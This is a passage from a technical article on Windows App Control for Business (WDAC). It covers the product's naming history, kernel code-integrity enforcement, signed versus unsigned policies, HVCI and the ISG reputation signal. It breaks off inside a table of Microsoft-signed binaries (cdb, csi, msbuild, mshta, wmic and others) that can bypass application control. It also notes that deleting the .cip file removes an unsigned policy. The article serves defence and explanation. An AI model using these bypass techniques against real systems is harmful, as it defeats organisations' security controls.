&lt;p&gt;The 2014-2015 threat-model shift inside Microsoft is well documented in retrospect [@ms-blog-introducing-wdac-2017]. Post-&lt;a href=&quot;https://paragmali.com/blog/mimikatz-and-the-credential-theft-decade-the-windows-securit/&quot; rel=&quot;noopener&quot;&gt;Pass-the-Hash&lt;/a&gt;, post-APT, the working assumption was that the adversary reaches administrator quickly -- and that any control whose enforcement could be turned off by an administrator was therefore not, in itself, a defense against the modern adversary. AppLocker could not be retrofitted to defend against that model because its evaluator lives in user mode &lt;em&gt;by design&lt;/em&gt;. The fix was structural: build a peer mechanism in the kernel Code Integrity component.&lt;/p&gt;

The Windows kernel component that enforces signature and policy checks on every image loaded into memory. The same `ci.dll` enforces driver signing (KMCS) and Driver Signature Enforcement (DSE); the App Control for Business policy is a peer of the driver signing policy, evaluated by the same kernel code at the same hook points. There is no service to stop because there is no service -- the evaluator runs in the kernel itself.

The umbrella brand Microsoft used in 2015-2017 for a bundle of hardware-rooted security features that included HVCI and Configurable Code Integrity. The brand was retired because customers consistently believed the bundle required hardware that, in fact, only HVCI required. The configurable CI policy that was the application-control half of Device Guard is what Microsoft now calls App Control for Business [@ms-blog-introducing-wdac-2017].

The configuration in which the kernel CI evaluator runs inside a Virtualization-Based Security (VBS) enclave at Virtual Trust Level 1 (VTL1), separated from the normal kernel at VTL0 by the Windows hypervisor. The marketing name in Windows 11 Settings is *memory integrity* [@ms-hvci] [@ms-support-memory-integrity]. The companion HVCI article in this pipeline covers the mechanism in depth; for this article the relevant fact is that with HVCI on, even a kernel-mode attacker in VTL0 cannot tamper with the code-integrity decision.
&lt;p&gt;The connecting insight that made the architecture work: &lt;em&gt;do not&lt;/em&gt; fix AppLocker. Build a peer mechanism in &lt;code&gt;ci.dll&lt;/code&gt;, the same component that already enforces &lt;a href=&quot;https://paragmali.com/blog/windows-kernel-code-integrity-2006-2026/&quot; rel=&quot;noopener&quot;&gt;driver signing&lt;/a&gt;, and make the new application-control policy a peer of the driver-signing policy. The decision lives in the kernel. The policy file lives on disk under &lt;code&gt;%SystemRoot%\System32\CodeIntegrity\CiPolicies\Active\&lt;/code&gt;. There is no user-mode service to stop.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The three-era naming timeline&lt;/strong&gt; is the question every practitioner asks first about this product, so it is worth laying out cleanly:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Era&lt;/th&gt;
&lt;th&gt;Name&lt;/th&gt;
&lt;th&gt;Released&lt;/th&gt;
&lt;th&gt;Source&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;Launch&lt;/td&gt;
&lt;td&gt;Configurable Code Integrity, under the &lt;strong&gt;Device Guard&lt;/strong&gt; umbrella&lt;/td&gt;
&lt;td&gt;Windows 10 1507, July 29 2015&lt;/td&gt;
&lt;td&gt;[@ms-blog-introducing-wdac-2017]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Rename 1&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Windows Defender Application Control&lt;/strong&gt; (WDAC)&lt;/td&gt;
&lt;td&gt;Windows 10 1709 (Fall Creators Update GA October 17, 2017; WDAC rename announced October 23, 2017)&lt;/td&gt;
&lt;td&gt;[@ms-blog-introducing-wdac-2017]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Rename 2&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;App Control for Business&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Windows 11 24H2 / Server 2025, autumn 2024 [@ms-lifecycle-win11-enterprise] [@ms-lifecycle-server-2025]&lt;/td&gt;
&lt;td&gt;[@ms-appcontrol-applocker-overview] [@github-wdac-toolkit-issue-411]&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;

Microsoft&apos;s October 2017 retrospective is the cleanest explanation of the first rename [@ms-blog-introducing-wdac-2017]: the Device Guard umbrella *&quot;unintentionally left an impression for many customers that the two features were inexorably linked and could not be deployed separately&quot;* -- which Configurable CI and HVCI never were. The rename to WDAC was brand management, not a technology change. The 2024 rename to App Control for Business [@ms-appcontrol-applocker-overview] is similarly a rebrand; Microsoft Learn states *&quot;App Control for Business was originally released as part of Device Guard and called configurable code integrity. The terms &apos;Device Guard&apos; and &apos;configurable code integrity&apos; are no longer used with App Control except when deploying policies through Group Policy.&quot;* The same kernel code path has worn three names in nine years.
&lt;p&gt;&lt;strong&gt;The naming convention this article uses&lt;/strong&gt;: lead with &quot;App Control for Business (still widely called WDAC)&quot; on first mention, then use the names interchangeably. The community search term &quot;WDAC&quot; stays in the title and tags because most practitioner content still uses it.&lt;/p&gt;

flowchart TD
    Kernel[&quot;Kernel CI evaluator (ci.dll)&lt;br /&gt;peer of driver signing / DSE / KMCS&lt;br /&gt;unchanged 2015 -- 2026&quot;]
    Brand1[&quot;Configurable Code Integrity&lt;br /&gt;under Device Guard umbrella&lt;br /&gt;(Windows 10 1507, 2015)&quot;]
    Brand2[&quot;Windows Defender Application Control (WDAC)&lt;br /&gt;(Windows 10 1709, 2017)&quot;]
    Brand3[&quot;App Control for Business&lt;br /&gt;(Windows 11 24H2 / Server 2025, 2024)&quot;]
    Brand1 --&amp;gt; Kernel
    Brand2 --&amp;gt; Kernel
    Brand3 --&amp;gt; Kernel
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; In 2026, &quot;WDAC&quot; remains the more discoverable community-search term for the kernel CI policy mechanism. Microsoft Learn redirects from the old &lt;code&gt;windows-defender-application-control/&lt;/code&gt; URL path to the new &lt;code&gt;app-control-for-business/&lt;/code&gt; path, but third-party blogs, conference talks, and the bypass corpora all still use &quot;WDAC&quot;. If you are searching, use both terms.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;A peer mechanism in the kernel CI component is a deliberate, specific architectural choice. What does App Control for Business &lt;em&gt;actually&lt;/em&gt; check at policy-evaluation time, and what makes its policy itself tamper-resistant against a &lt;code&gt;SYSTEM&lt;/code&gt;-equivalent attacker?&lt;/p&gt;
&lt;h2&gt;6. The Mechanism in Detail -- How App Control for Business Actually Enforces&lt;/h2&gt;
&lt;p&gt;A &lt;code&gt;LoadImage&lt;/code&gt; callback enters the kernel. Where does the policy decision happen, who reads the policy file, and what stops the attacker from just deleting or replacing the policy file?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Where it runs.&lt;/strong&gt; Inside &lt;code&gt;ci.dll&lt;/code&gt;, loaded by the Windows kernel. The same component that enforces driver signing / DSE / KMCS [@ms-hvci]. The callback path is the documented kernel API surface: &lt;code&gt;PsSetLoadImageNotifyRoutine&lt;/code&gt; [@ms-pssetloadimagenotifyroutine] registers the image-load callback, and &lt;code&gt;PsLookupProcessByProcessId&lt;/code&gt; [@ms-pslookupprocessbyprocessid] resolves the loading PID to an &lt;code&gt;EPROCESS&lt;/code&gt; so the evaluator can attribute the load to the right process. A user-mode &lt;code&gt;sc.exe stop&lt;/code&gt; has no effect because there is &lt;em&gt;no service to stop&lt;/em&gt;. The evaluator is the kernel.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What it evaluates.&lt;/strong&gt; For each candidate image, &lt;code&gt;ci.dll&lt;/code&gt; checks:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The file&apos;s &lt;strong&gt;Authenticode signature&lt;/strong&gt; -- signer subject, EKU (Extended Key Usage), leaf certificate attributes.&lt;/li&gt;
&lt;li&gt;The file&apos;s &lt;strong&gt;signed metadata&lt;/strong&gt; -- Original Filename, version, product name (analogous to AppLocker&apos;s Publisher rule).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SHA-1, SHA-256, and page hashes&lt;/strong&gt; of the file content.&lt;/li&gt;
&lt;li&gt;The file&apos;s &lt;strong&gt;path&lt;/strong&gt;, introduced in Windows 10 1903, with a mandatory runtime user-writeability check that distinguishes App Control path rules from AppLocker&apos;s [@github-aaronlocker-script]. An App Control path rule that resolves to a directory writable by a non-administrator is rejected at evaluation time.&lt;/li&gt;
&lt;li&gt;The file&apos;s &lt;strong&gt;Managed Installer lineage&lt;/strong&gt; -- whether the file was written by a process tagged as a managed installer [@ms-appcontrol-managed-installer].&lt;/li&gt;
&lt;li&gt;The file&apos;s &lt;strong&gt;ISG reputation&lt;/strong&gt; -- covered in section 7 [@ms-appcontrol-isg].&lt;/li&gt;
&lt;/ul&gt;

The XML / binary `.cip` policy file that `ci.dll` consults at every image-load callback. Authored in XML via the `New-CIPolicy` and `Merge-CIPolicy` cmdlets (the `ConfigCI` PowerShell module) and compiled to a binary `.cip` via `ConvertFrom-CIPolicy`. The kernel reads the active policies from `%SystemRoot%\System32\CodeIntegrity\CiPolicies\Active\*.cip` at boot and on policy refresh.

A trust-propagation feature in App Control. An administrator designates a process (typically a configuration-management agent such as Configuration Manager, Intune, or a third-party tool such as Patch My PC) as a *managed installer*. Any file written by that process is automatically tagged with an Extended Attribute marking it as installed by trusted infrastructure. App Control policy can then allow files bearing the tag. The Managed Installer rule collection is implemented as an AppLocker rule set [@ms-appcontrol-managed-installer], which is the most-cited example of AppLocker enforcement plumbing being reused by App Control rather than replaced.
&lt;p&gt;&lt;strong&gt;Policy file format.&lt;/strong&gt; XML in, binary in the kernel. The cmdlet sequence:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;New-CIPolicy   -&amp;gt; Merge-CIPolicy -&amp;gt; ConvertFrom-CIPolicy -&amp;gt; .cip file -&amp;gt; drop into Active/ -&amp;gt; reboot or refresh
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The PowerShell module that exposes these cmdlets is still partly named after the WDAC era. &lt;code&gt;ConvertFrom-CIPolicy&lt;/code&gt;, &lt;code&gt;Set-CIPolicySetting&lt;/code&gt;, &lt;code&gt;Set-CIPolicyVersion&lt;/code&gt;, &lt;code&gt;Add-SignerRule&lt;/code&gt;, and the rest all retain the &lt;em&gt;CIPolicy&lt;/em&gt; / &lt;em&gt;ConfigCI&lt;/em&gt; naming through the 2024 rebrand. Microsoft has not renamed the cmdlets to &lt;em&gt;App Control for Business&lt;/em&gt;. The App Control Wizard [@ms-appcontrol-wizard] is an open-source MSIX-packaged C# tool that uses these same cmdlets under the hood.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Signed vs unsigned policies -- the load-bearing distinction.&lt;/strong&gt; This is the single most common practitioner confusion in App Control deployments, and it is worth several paragraphs of care.&lt;/p&gt;
&lt;p&gt;An &lt;strong&gt;unsigned&lt;/strong&gt; App Control policy is fully supported and widely deployed. The policy XML is authored, compiled, and dropped into the active-policies directory. The kernel reads it and enforces it. But the policy file itself has no cryptographic binding to the device. Any process with write access to &lt;code&gt;%SystemRoot%\System32\CodeIntegrity\CiPolicies\Active\&lt;/code&gt; -- which includes anything running as &lt;code&gt;SYSTEM&lt;/code&gt; or administrator -- can simply &lt;code&gt;del&lt;/code&gt; the &lt;code&gt;.cip&lt;/code&gt; file and reboot. Enforcement vanishes. The defect is not in &lt;code&gt;ci.dll&lt;/code&gt;; it is in the policy not being signed.&lt;/p&gt;
&lt;p&gt;A &lt;strong&gt;signed&lt;/strong&gt; App Control policy is signed by the &lt;strong&gt;deploying organisation&apos;s&lt;/strong&gt; code-signing certificate -- &lt;em&gt;not&lt;/em&gt; by the application publisher&apos;s certificate, which is the misconception most often imported from the AppLocker mental model. The deploying organisation typically uses an internal PKI leaf, the signing private key kept on a hardware token or in a sealed key vault. When the policy is signed, the kernel CI evaluator validates the signature against the trusted signer set baked into the policy at first application; a subsequent attempt to remove or replace the &lt;code&gt;.cip&lt;/code&gt; file is rejected at boot because the unsigned (or alternately-signed) replacement does not match. Even &lt;code&gt;SYSTEM&lt;/code&gt; cannot bypass this without the corresponding private key. This is the &lt;em&gt;only&lt;/em&gt; configuration that survives an admin-equivalent attacker.&lt;/p&gt;

App Control policies are signed by the deploying organisation&apos;s code-signing certificate, *not* by the application publisher&apos;s. The signed policy is bound to the device such that even `SYSTEM` cannot remove or replace it without the organisation&apos;s signing key.
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Dimension&lt;/th&gt;
&lt;th&gt;Unsigned policy&lt;/th&gt;
&lt;th&gt;Signed policy&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;Tamper-resistance against &lt;code&gt;SYSTEM&lt;/code&gt; / admin&lt;/td&gt;
&lt;td&gt;None -- the &lt;code&gt;.cip&lt;/code&gt; file can be deleted&lt;/td&gt;
&lt;td&gt;Strong -- removal requires the signing key&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Deployment complexity&lt;/td&gt;
&lt;td&gt;Low -- copy file and reboot&lt;/td&gt;
&lt;td&gt;High -- requires PKI, signing infra, key custody&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Signing PKI requirement&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;td&gt;Internal code-signing CA leaf required&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Removal mechanism&lt;/td&gt;
&lt;td&gt;&lt;code&gt;del *.cip&lt;/code&gt; + reboot&lt;/td&gt;
&lt;td&gt;Sign and deploy a &lt;em&gt;replace&lt;/em&gt; policy with the same key&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Suitable as MSRC security boundary&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;Yes (with HVCI on)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;HVCI integration.&lt;/strong&gt; When &lt;a href=&quot;https://paragmali.com/blog/the-windows-secure-kernel/&quot; rel=&quot;noopener&quot;&gt;Virtualization-Based Security&lt;/a&gt; is on, the kernel CI evaluator itself runs in VTL1 inside &lt;strong&gt;&lt;a href=&quot;https://paragmali.com/blog/wdac--hvci-code-integrity-at-every-layer-in-windows/&quot; rel=&quot;noopener&quot;&gt;HVCI&lt;/a&gt;&lt;/strong&gt; (memory integrity, in Windows 11 Settings) [@ms-hvci] [@ms-support-memory-integrity]. A kernel-mode attacker in VTL0 -- even one who has loaded an arbitrary kernel driver and corrupted kernel memory at will -- cannot tamper with the code-integrity evaluation path. The decision lives behind the hypervisor boundary.&lt;/p&gt;

Virtual Trust Levels exposed by the Windows hypervisor. VTL0 is the normal Windows kernel and user mode. VTL1 is the *secure kernel*, an isolated execution environment with restricted memory access and a tighter trust model. With HVCI enabled, the code-integrity evaluator runs in VTL1; a kernel-mode attacker confined to VTL0 cannot read or write VTL1 memory directly. Companion HVCI article in this pipeline covers the VTL model in depth.

sequenceDiagram
    participant P as Loading process
    participant K as Kernel image loader
    participant CI as ci.dll (CI evaluator)
    participant Pol as Active .cip policies
    P-&amp;gt;&amp;gt;K: load module foo.dll
    K-&amp;gt;&amp;gt;CI: PsSetLoadImageNotifyRoutine callback
    CI-&amp;gt;&amp;gt;CI: parse Authenticode + compute hashes + check path
    CI-&amp;gt;&amp;gt;Pol: match against signer / hash / path / MI / ISG rules
    Pol--&amp;gt;&amp;gt;CI: allow or deny
    CI--&amp;gt;&amp;gt;K: honour verdict
    K--&amp;gt;&amp;gt;P: image loaded or STATUS_INVALID_IMAGE_HASH

flowchart LR
    subgraph VTL0[&quot;VTL0 -- normal Windows kernel&quot;]
        K0[&quot;NTOS kernel&quot;]
        Drv[&quot;Loaded drivers&quot;]
        Att[&quot;kernel-mode attacker&quot;]
    end
    subgraph VTL1[&quot;VTL1 -- secure kernel&quot;]
        SK[&quot;Secure kernel&quot;]
        CIeval[&quot;ci.dll evaluator&quot;]
    end
    Hyper[&quot;Windows Hypervisor (VBS)&quot;]
    K0 -- regulated calls --&amp;gt; Hyper
    Hyper -- mediated entry --&amp;gt; SK
    SK --&amp;gt; CIeval
    Att -. blocked .- Hyper
&lt;p&gt;&lt;strong&gt;Multi-policy support.&lt;/strong&gt; From Windows 10 1903 (May 2019) the kernel supported up to 32 active App Control policies whose interactions follow two distinct rules: multiple base policies &lt;em&gt;intersect&lt;/em&gt; (an app must be allowed by every base policy that applies), while a base policy and its supplemental policies &lt;em&gt;union&lt;/em&gt; (an app is allowed if any of them allow it), and deny rules always win in either combination. The cap was &lt;strong&gt;lifted&lt;/strong&gt; by the April 9, 2024 cumulative security updates: &lt;strong&gt;KB5036893&lt;/strong&gt; for Windows 11 22H2 and 23H2 (OS Builds 22621.3447 and 22631.3447) [@ms-kb-5036893], and &lt;strong&gt;KB5036892&lt;/strong&gt; for Windows 10 21H2 and 22H2 (OS Builds 19044.4291 and 19045.4291) [@ms-kb-5036892]. Microsoft&apos;s &lt;em&gt;Deploy multiple App Control for Business policies&lt;/em&gt; page is explicit on the version scope [@ms-appcontrol-multi-policy]: &lt;em&gt;&quot;The policy limit was not removed on Windows 11 21H2 and will remain limited to 32 policies.&quot;&lt;/em&gt; No published Microsoft documentation gives the new ceiling on the platforms where the cap was lifted; the practical limit is policy parsing time at boot.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; This is the single most common practitioner misreading in App Control deployments. An unsigned App Control policy enforces against userland and against unprivileged users perfectly well -- but it does &lt;em&gt;not&lt;/em&gt; qualify as a security boundary under the MSRC servicing criteria, because an admin or &lt;code&gt;SYSTEM&lt;/code&gt; attacker can delete the policy file. The phrase &lt;em&gt;&quot;deploy WDAC&quot;&lt;/em&gt; alone is ambiguous; the meaningful phrase is &lt;em&gt;&quot;deploy a signed WDAC policy with HVCI on and the Recommended Block Rules merged in&quot;&lt;/em&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Kernel evaluator, signed policy, HVCI-isolated evaluator, multi-policy merge. That is &lt;em&gt;the security boundary&lt;/em&gt; Microsoft sells. But none of those facts tells you what &lt;em&gt;signals&lt;/em&gt; the policy can act on -- and one of those signals (ISG) is the single most misunderstood piece of the App Control vocabulary.&lt;/p&gt;
&lt;h2&gt;7. ISG -- The Reputation Signal Everyone Calls a List&lt;/h2&gt;
&lt;p&gt;Open any practitioner thread about App Control in 2024-2026 and you will see the phrase &lt;em&gt;&quot;the ISG list of trusted apps.&quot;&lt;/em&gt; There is no such list. Microsoft has said so for years. The misconception is institutional.&lt;/p&gt;
&lt;p&gt;The verbatim Microsoft Learn quote, from the &lt;em&gt;Use App Control with the Intelligent Security Graph&lt;/em&gt; page [@ms-appcontrol-isg]:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The ISG isn&apos;t a &quot;list&quot; of apps. Rather, it uses the same vast security intelligence and machine learning analytics that power Microsoft Defender SmartScreen and Microsoft Defender Antivirus to help classify applications as having &quot;known good,&quot; &quot;known bad,&quot; or &quot;unknown&quot; reputation. This cloud-based AI is based on trillions of signals collected from Windows endpoints and other data sources, and processed every 24 hours.&lt;/p&gt;
&lt;/blockquote&gt;

The ISG isn&apos;t a &apos;list&apos; of apps. -- Microsoft Learn, *Use App Control with the Intelligent Security Graph* [@ms-appcontrol-isg]
&lt;p&gt;ISG is a &lt;em&gt;reputation classifier.&lt;/em&gt; An App Control policy can be configured to treat ISG&apos;s &lt;em&gt;&quot;known good&quot;&lt;/em&gt; verdict as an additive allow signal. ISG never blocks on App Control&apos;s behalf. The Microsoft Learn page is precise: &lt;em&gt;&quot;the ISG option only allows binaries that are known good. If a binary is unknown or known bad, it won&apos;t be allowed by the ISG&quot;&lt;/em&gt; [@ms-appcontrol-isg]. The classifier sits underneath the policy&apos;s explicit rules; it does not override them.&lt;/p&gt;

A Microsoft cloud service that ingests telemetry from Defender SmartScreen, Defender Antivirus, and partner products and produces a reputation classification for individual binaries. The classifier returns one of *known good*, *known bad*, or *unknown*. App Control can be configured to treat *known good* as an additional allow path, in addition to the explicit signer / hash / path / Managed Installer rules in the policy. ISG never *blocks* on its own; *unknown* and *known bad* simply mean ISG does not vote allow [@ms-appcontrol-isg].
&lt;p&gt;&lt;strong&gt;The mechanism.&lt;/strong&gt; When ISG is enabled and a binary is classified &lt;em&gt;known good&lt;/em&gt;, Windows tags the file with an Extended Attribute named &lt;code&gt;\$KERNEL.SMARTLOCKER.ORIGINCLAIM&lt;/code&gt;, so the CI evaluator can honour the verdict at subsequent image loads without a fresh cloud call. The cloud reputation model itself is processed every 24 hours [@ms-appcontrol-isg]; App Control&apos;s client-side requeries are documented only as &lt;em&gt;periodic&lt;/em&gt;, without a fixed interval. The policy option &lt;code&gt;Enabled:Invalidate EAs on Reboot&lt;/code&gt; discards the tags across reboot, forcing a re-evaluation.&lt;/p&gt;
&lt;p&gt;The extended attribute &lt;code&gt;\$KERNEL.SMARTLOCKER.ORIGINCLAIM&lt;/code&gt; is the same EA-tag mechanism the Managed Installer feature uses to propagate the &quot;installed by trusted infrastructure&quot; signal [@ms-appcontrol-managed-installer]. Two adjacent App Control features therefore share the same persistence layer -- one populated by a local trusted-process designation, the other populated by a cloud reputation classifier. The kernel evaluator does not care which source wrote the tag.&lt;/p&gt;
&lt;p&gt;The misconception this section closes is that ISG is a &lt;em&gt;list&lt;/em&gt; of curated allowed apps -- a corporate-managed allowlist administered by Microsoft. It is not. The original &lt;code&gt;00-input.md&lt;/code&gt; for this article framed ISG as &lt;em&gt;&quot;cloud-reputation-driven allow-listing&quot;&lt;/em&gt;, which is half-true in spirit and wrong in mechanism. ISG is &lt;em&gt;reputation&lt;/em&gt;. The allow&lt;em&gt;list&lt;/em&gt; is what the App Control policy still has to author explicitly.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; The phrase &lt;em&gt;Intelligent Trusted List&lt;/em&gt; and the acronym &lt;em&gt;ITL&lt;/em&gt; surface periodically in AI summaries and in third-party blog posts that describe App Control features. &lt;strong&gt;No such Microsoft feature exists.&lt;/strong&gt; A search of Microsoft Learn produces zero results; the URLs cited by AI summaries return 404; and the definitions offered by AI summaries contradict each other. The closest real Microsoft features are ISG (this section), the Microsoft Recommended Block Rules (section 8), and Smart App Control (section 9). If you see &lt;em&gt;ITL&lt;/em&gt; in a security blog, treat it as a fabrication and ignore it.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;ISG turns an App Control policy into a hybrid: explicit rules plus a reputation tap. But it is still an allowlist, and an allowlist has a structural ceiling. Microsoft itself published the consequence as a &lt;em&gt;block&lt;/em&gt; list. Why?&lt;/p&gt;
&lt;h2&gt;8. The Bypass Reality -- Recommended Block Rules and the LOLBin Corpus&lt;/h2&gt;
&lt;p&gt;Microsoft&apos;s own Microsoft Learn page lists approximately forty Microsoft-signed binaries that can bypass an App Control allow rule on themselves. The page is called &lt;em&gt;Applications that can bypass App Control and how to block them&lt;/em&gt; [@ms-appcontrol-bypass]. Why does Microsoft publish a list of its own bypassable signed binaries?&lt;/p&gt;
&lt;p&gt;Because if your App Control policy says &lt;em&gt;&quot;allow Microsoft-signed code&quot;&lt;/em&gt;, then it admits each of those forty binaries -- and each one is a way to run attacker-supplied code while complying with the policy. The publisher gate cannot evaluate side effects.&lt;/p&gt;

A binary already present on the operating system, typically signed by the OS vendor, that an attacker can repurpose to perform actions a security control would otherwise block. The canonical Windows LOLBin classes are script interpreters bundled with the OS or runtime (`mshta.exe`, `wscript.exe`), build tools that compile and execute attacker-supplied source (`msbuild.exe`, `csi.exe`, `dotnet.exe`), debuggers that script their own target (`cdb.exe`, `windbg.exe`), and registration utilities that load arbitrary DLLs into a signed host (`regsvr32.exe`, `rundll32.exe`). The community-curated LOLBAS Project [@lolbas-project] catalogues hundreds.
&lt;p&gt;The named-researcher chain that drove the Recommended Block Rules is a who-is-who of mid-2010s Windows offensive research:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;cdb.exe&lt;/code&gt;&lt;/strong&gt; -- Matt Graeber, August 2016, preserved in the Wayback Machine [@exploit-monday-cdb-wayback]. The Windows debugger ships signed by Microsoft and includes a scripting facility that runs arbitrary shellcode in memory. Graeber&apos;s blog post asked, in his own words, &lt;em&gt;&quot;what is a tool that&apos;s signed by Microsoft that will execute code, preferably in memory?&quot;&lt;/em&gt; and answered &lt;em&gt;&quot;WinDbg/CDB of course!&quot;&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;csi.exe&lt;/code&gt;&lt;/strong&gt; -- Casey Smith, September 2016, preserved in the Wayback Machine [@subt0x10-csi-wayback]. The C# interactive compiler, distributed with Visual Studio, is signed by Microsoft and runs arbitrary C# fragments via &lt;code&gt;Assembly.Load()&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;dnx.exe&lt;/code&gt;&lt;/strong&gt; -- Matt Nelson, November 2016 [@enigma0x3-dnx-2016]. The early .NET Core host that loads and executes arbitrary .NET assemblies under a signed Microsoft binary.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;addinprocess.exe&lt;/code&gt; / &lt;code&gt;addinprocess32.exe&lt;/code&gt;&lt;/strong&gt; -- James Forshaw, July 2017 [@tiraniddo-dg-2017]. The Visual Studio add-in host that can be coerced into loading an attacker DLL while the parent process satisfies the signed-publisher policy.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;dotnet.exe&lt;/code&gt;&lt;/strong&gt; -- Jimmy Bayne, August 2019 [@bohops-dotnet-awl]. The shipping .NET host with the same fundamental capability as &lt;code&gt;dnx.exe&lt;/code&gt; but with a 2019-vintage attack surface and a live PoC against both AppLocker and WDAC.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The operational entries practitioners encounter most often are &lt;code&gt;msbuild.exe&lt;/code&gt; (the C# / MSBuild compiler that can execute inline build tasks), &lt;code&gt;mshta.exe&lt;/code&gt; (the HTML application host), &lt;code&gt;wmic.exe&lt;/code&gt; (which can load XSL stylesheets that execute arbitrary script), &lt;code&gt;wscript.exe&lt;/code&gt; (Windows Script Host), and &lt;code&gt;bash.exe&lt;/code&gt; / &lt;code&gt;wsl.exe&lt;/code&gt; (the WSL launchers, which provide an entirely separate execution environment outside the policy&apos;s reach).&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Binary&lt;/th&gt;
&lt;th&gt;Capability that enables the bypass&lt;/th&gt;
&lt;th&gt;Original researcher&lt;/th&gt;
&lt;th&gt;Source&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;code&gt;cdb.exe&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Debugger scripting facility executes shellcode in memory&lt;/td&gt;
&lt;td&gt;Matt Graeber, Aug 2016&lt;/td&gt;
&lt;td&gt;[@exploit-monday-cdb-wayback]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;csi.exe&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;C# interactive compiler, &lt;code&gt;Assembly.Load()&lt;/code&gt; over arbitrary C#&lt;/td&gt;
&lt;td&gt;Casey Smith, Sep 2016&lt;/td&gt;
&lt;td&gt;[@subt0x10-csi-wayback]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;dnx.exe&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Early .NET Core host, loads arbitrary assemblies&lt;/td&gt;
&lt;td&gt;Matt Nelson, Nov 2016&lt;/td&gt;
&lt;td&gt;[@enigma0x3-dnx-2016]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;addinprocess.exe&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Visual Studio add-in host loads attacker DLL&lt;/td&gt;
&lt;td&gt;James Forshaw, Jul 2017&lt;/td&gt;
&lt;td&gt;[@tiraniddo-dg-2017]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;dotnet.exe&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Modern .NET host, AWL bypass via assembly loading&lt;/td&gt;
&lt;td&gt;Jimmy Bayne, Aug 2019&lt;/td&gt;
&lt;td&gt;[@bohops-dotnet-awl]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;msbuild.exe&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Inline &lt;code&gt;Task&lt;/code&gt; in build XML compiles and runs C# at build time&lt;/td&gt;
&lt;td&gt;community&lt;/td&gt;
&lt;td&gt;[@ms-appcontrol-bypass]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;mshta.exe&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;HTA host evaluates VBScript / JScript&lt;/td&gt;
&lt;td&gt;community&lt;/td&gt;
&lt;td&gt;[@ms-appcontrol-bypass]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;wmic.exe&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;XSL stylesheet evaluation runs arbitrary script&lt;/td&gt;
&lt;td&gt;community&lt;/td&gt;
&lt;td&gt;[@ms-appcontrol-bypass]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;bash.exe&lt;/code&gt; / &lt;code&gt;wsl.exe&lt;/code&gt;&lt;/td&gt;
